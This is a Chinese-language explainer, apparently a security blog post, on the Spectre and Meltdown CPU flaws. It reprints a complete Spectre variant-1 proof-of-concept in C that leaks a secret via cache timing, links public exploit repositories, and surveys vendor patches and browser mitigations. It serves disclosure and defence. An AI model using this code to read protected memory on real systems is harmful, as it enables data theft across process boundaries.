当CPU发现分支预测错误时会丢弃分支执行的结果,恢复CPU的状态,但是不会恢复CPU Cache的状态,利用这一点可以突破进程间的访问限制(如浏览器沙箱)获取其他进程的数据。
具体攻击过程可以分为三个阶段:
1)训练CPU的分支预测单元使其在运行利用代码时会进行特定的预测执行
2)预测执行使得CPU将要访问的地址的内容读取到CPU Cache中
3) 通过缓存测信道攻击,可以知道哪一个数组元素被访问过,也即对应的内存页存放在CPU Cache中,从而推测出地址的内容。
重要代码部分
下个函数 是越权访问的关键,普通情况下会只在x
void victim_function(size_t x)
{
if (x < array1_size)
{
temp &= array2[array1[x] * 512];
}
}
以下是源代码
#include
#include
#include
#ifdef _MSC_VER
#include /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include /* for rdtscp and clflush */
#endif
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
char *secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */
/*通过预测机制,读取违规数据进入cache*/
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
32 Analysis code
33 ********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
/*readmemory训练多次,调用victim function(),每6次一个攻击,由于前面训练结果,或导致victim——function预测,将违规数据(x>array1_size)缓存到cache中,t推测代码通过 FLUSH=PROBE推测刚刚违规操作的位置,确定array2[x]的值,造成泄漏*/
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t *addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction 清除cache中array2 排除误差*/
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) 5个训练,一个攻击*/
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 ,j为4字节,=4*8=8*4=FFFFFFF*/
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction 推测刚刚缓存到cache中的非法数据,刚刚flush掉array2,现在cache中数据是所有训练和推测的数据,而命中的就是这鞋数据,频率最高为x=malicious,因为malicious一直不变,而测试组training一直在改变,所以频率相对低一些 */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k ,找出最高频率 j和次高频率 k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won't get optimized out*/
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
int main(int argc, const char **argv) {
size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
int i, score[2], len=40;
uint8_t value[2];
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void**)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", &len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void*)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
printf("0x%02X='%c' score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}
目前开源社区github已经放出来了漏洞的验证代码(PoC),如下:
https://github.com/Eugnis/spectre-attack
https://github.com/feruxmax/meltdown
https://github.com/gkaindl/meltdown-poc
https://github.com/turbo/KPTI-PoC-Collection
漏洞可在Windows、Linux、Mac-OS等操作系统下,成功读取任意指定内存地址的内容,如下图所示:
Intel已经确认自身CPU中存在相关问题,并正与包括AMD、ARM和多家操作系统厂商在内的许多其他科技公司紧密合作,制定行业范围的方法,以便及时和建设性地解决这些漏洞。另外Intel认为有些媒体里面的报道并不准确,这些问题不仅仅Intel,其他厂商的CPU中也存在相关问题。这些问题的修复对性能的影响和具体的工作场景相关,对一般用户而言,影响并不显著,而且随着时间的推移这些影响都会得到缓解。
相关公告
这里写链接内容
漏洞声明
修复
Intel提供的影响分析
ARM确认大部分处理器不受漏洞影响,但给出了一个受影响的处理器列表。ARM认为,利用这些漏洞进行攻击需要在本地运行恶意软件,用户及时更新软件和不点击来历不明的链接会降低攻击风险。针对linux上的程序,ARM提供了新编译器,可用新编译器重新编译。另外发布了Linux ARM内核补丁,用于修补漏洞,相关页面如下:
https://developer.arm.com/support/security-update/download-the-whitepaper
https://developer.arm.com/support/security-update
AMD针对每个漏洞做了回复,第一个漏洞由软件、操作系统厂商发布补丁解决,性能影响非常轻微,其他两个漏洞由于AMD CPU特殊的架构,都不受影响。具体如下:
https://www.amd.com/en/corporate/speculative-execution
关于基于 ARM 的 CPU 和 Intel CPU 中的预测执行漏洞
苹果解释
微软已经发布了安全通告,修复了IE、Edge、Windows内核中相关问题,并针对普通用户、服务器用户、云用户各自给出了防护指南。
微软普通用户:https://support.microsoft.com/help/4073119
服务器用户:https://support.microsoft.com/help/4072698
云用户:https://support.microsoft.com/help/4073235
微软安全通告:https://support.microsoft.com/en-us/help/4073235/cloud-protections-speculative-execution-side-channel-vulnerabilities
Linux内核开发者Thomas Gleixner在2017年12月在Linux内核邮件列表中就新的KAISER隔离补丁发布了说明。目前有人怀疑这批补丁可能正是为了解决Linux系统当中的Metldown与Spectre 漏洞。具体如下:
https://lkml.org/lkml/2017/12/4/709
2.3 RedHat
红帽公司已经发布一项建议,其中列出受到影响的产品及其当前状态。建议内容表明:对于正在运行受影响版本产品的红帽客户,强烈建议用户尽快根据指导清单进行更新。所有受影响产品都应安装修复补丁,借以缓解CVE-2017-5753 (变种1)与 CVE-2017-5754 (变种3)漏洞。CVE-2017-5715 (变种2)可通过本地以及虚拟访客边界两种方式被加以利用。具体如下:
https://access.redhat.com/security/vulnerabilities/speculativeexecution?sc_cid=701f2000000tsLNAAY&
2.4 安卓
Android团队于2018年1月更新了安全通告:CVE-2017-5715、CVE-2017-5753以及CVE-2017-5754为已经得到公开披露的一系列与处理器内推测执行相关的漏洞。Android尚未发现任何在基于ARM的Android设备之上重现上述漏洞以进行的未授权信息泄露行为。为了提供额外的保护措施,本公告当中包含的CVE-2017-13218更新减少了对高精度定时器的访问,旨在限制旁路攻击(例如CVE-2017-5715、CVE-2017-5753以及CVE-2017-5754)所有已知变种对ARM处理器的影响。具体如下:
https://source.android.com/security/bulletin/2018-01-01
利用漏洞在浏览器中进行攻击依赖于新特性SharedArrayBuffer和用于高精度时间计算的函数performance.now。各个浏览器表示都采取了以下两个缓解措施:
l移除浏览器中可用于攻击的SharedArrayBuffer特性
l降低用于高精度时间计算的函数performance.now的精确性
加上这两个缓解措施后,JS版本的漏洞PoC代码将无法触发:
3.1 Microsoft Edge
微软已经发布了浏览器补丁:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV180002
3.2 FireFox
Mozilla从FireFox 57版本开始采取了这两个缓解措施:https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/
3.3 Chrome
谷歌从Chrome 64版本开始采取了这两个缓解措施:
https://security.googleblog.com/2018/01/todays-cpu-vulnerability-what-you-need.html
4.1 Amazon
Amazon方面已经发布一项安全公告,指出:此项安全漏洞广泛存在于过去20年推出的英特尔、AMD以及ARM等各类现代处理器架构当中,影响范围涵盖服务器、台式机以及移动设备。Amazon EC2体系中除极少数实例外,其余皆受到严格保护。剩余部分的修复工作将在接下来数小时内完成,并附有相关实例维护通知。虽然AWS所执行的更新能够切实保护底层基础设施,但为了充分解决此次问题,客户还应对实例中的操作系统进行修复。目前Amazon Linux更新已经开始发布,具体如下:
https://aws.amazon.com/security/security-bulletins/AWS-2018-013/
4.2 阿里云
为解决处理器芯片的安全问题,阿里云将在北京时间2018年1月12日凌晨1点进行虚拟化底层的升级更新。届时,阿里云将采用热升级的方式,绝大多数客户不会受到影响。但个别客户可能需要手动重启,阿里云建议客户提前准备运营预案及数据备份。
4.3 腾讯云
腾讯云将于北京时间2018年1月10日凌晨01:00-05:00通过热升级技术对硬件平台和虚拟化平台进行后端修复,期间客户业务不会受到影响。对于极少量不支持热升级方式的,腾讯云另行安排时间手动重启修复,这部分服务器腾讯云安全团队将会另行进行通知,协商升级时间。
五、漏洞修复存在的问题
由于漏洞是芯片底层设计上的缺陷导致的,修复起来会非常复杂,同时难以完美修复。从目前的情况来看,漏洞很难通过CPU微码修复,更多是依赖于OS级的修复程序。
修复程序本身也存在诸多问题。以Windows 10为例,微软于北京时间1月4号凌晨紧急发布了1月份系统安全更新,但补丁存在明显的性能和兼容性的问题:
l更新可能会让受影响的系统性能下滑30%
l更新可能会导致部分软件(安全软件等)不兼容从而系统蓝屏
出于兼容性考虑,Windows Update并不会在所有的电脑环境中进行自动更新,而是在其认为软件比较兼容的情况下 才会进行自动更新。另外,对于有需要更新的用户,可以通过下载微软相关补丁包,进行手动运行修复安全威胁。
根据我们的实际测试,性能问题对于普通用户来说,影响并不大:只有在极端的测试下,才会出现明显的性能问题;而正常的使用过程中一般不会出现。但是兼容性问题确实比较严重:在有安全软件,以及一些游戏的电脑上,安装补丁比较容易出现蓝屏现象。这也使得我们和其他安全厂商采取了比较保守的策略,暂时不主动推送微软的补丁,避免造成用户电脑无法正常使用。